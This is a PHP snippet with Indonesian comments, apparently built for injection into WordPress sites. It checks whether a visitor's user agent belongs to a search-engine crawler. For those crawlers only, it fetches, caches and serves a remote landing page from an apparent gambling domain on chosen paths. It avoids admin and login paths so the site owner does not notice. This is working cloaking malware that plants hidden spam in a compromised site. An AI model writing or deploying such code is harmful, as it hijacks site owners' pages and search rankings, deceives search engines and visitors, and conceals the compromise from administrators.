if (php_sapi_name() !== 'cli') { // jangan jalan di CLI // konfigurasi rules: path prefix => remote LP URL $wwa_rules = [ '/evolving-regional-dynamics/' => 'https://eventwargatoto.com/wargatoto/ipripak.html', // tambah rule lain jika perlu ]; // user-agent bot (regex, lowercase) $wwa_bot_regex = '/(googlebot|google-inspectiontool|bingbot|duckduckbot|yandex|baiduspider|slurp|msnbot)/i'; $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $uri = parse_url($_SERVER['REQUEST_URI'] ?? '/', PHP_URL_PATH); // jangan ganggu admin atau REST/cron/xmlrpc atau POST (aman) if ( !empty($ua) && preg_match($wwa_bot_regex, $ua) && stripos($uri, '/wp-admin') !== 0 && stripos($uri, '/wp-login.php') !== 0 && stripos($uri, '/xmlrpc.php') !== 0 && $_SERVER['REQUEST_METHOD'] === 'GET' ) { // cek rules foreach ($wwa_rules as $path => $lp_url) { // prefix match (use rtrim to normalize) $p = rtrim($path, '/').'/'; $u = rtrim($uri, '/').'/'; if (stripos($u, $p) === 0) { // serve cached if exists $cache_dir = __DIR__ . '/wp-content/uploads/wwa-lp-cache'; if (!is_dir($cache_dir)) @mkdir($cache_dir, 0755, true); $cache_file = $cache_dir . '/cache_' . md5($lp_url) . '.html'; $ttl = 3600; // cache TTL in seconds $content = false; if (file_exists($cache_file) && (time() - filemtime($cache_file) < $ttl)) { $content = @file_get_contents($cache_file); } else { // fetch remote (cURL preferred, fallback to file_get_contents) $timeout = 6; if (function_exists('curl_init')) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $lp_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_USERAGENT, $ua); // gunakan UA bot $fetched = curl_exec($ch); $httpcode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($fetched !== false && $httpcode >= 200 && $httpcode < 300) { $content = $fetched; @file_put_contents($cache_file, $content); } } else { // fallback $ctx = stream_context_create(['http' => ['timeout' => $timeout, 'header' => "User-Agent: $ua\r\n"]]); $fetched = @file_get_contents($lp_url, false, $ctx); if ($fetched !== false) { $content = $fetched; @file_put_contents($cache_file, $content); } } } if ($content && strlen(trim($content)) > 10) { // kirim header agar Google membaca sebagai HTML if (!headers_sent()) { header('HTTP/1.1 200 OK'); header('Content-Type: text/html; charset=UTF-8'); header('Cache-Control: no-cache, no-store, must-revalidate'); header('Pragma: no-cache'); header('Expires: 0'); } echo $content; // optional logging untuk debug (hapus setelah sukses) @error_log("[WWA CLOAK] served LP for $uri -> $lp_url (UA: $ua)"); exit; // hentikan eksekusi WP lebih lanjut } else { @error_log("[WWA CLOAK] failed fetch or empty LP: $lp_url (UA: $ua)"); // jika fetch gagal, lanjut ke WordPress normal } // break after first matching rule (so no multiple) break; } } } }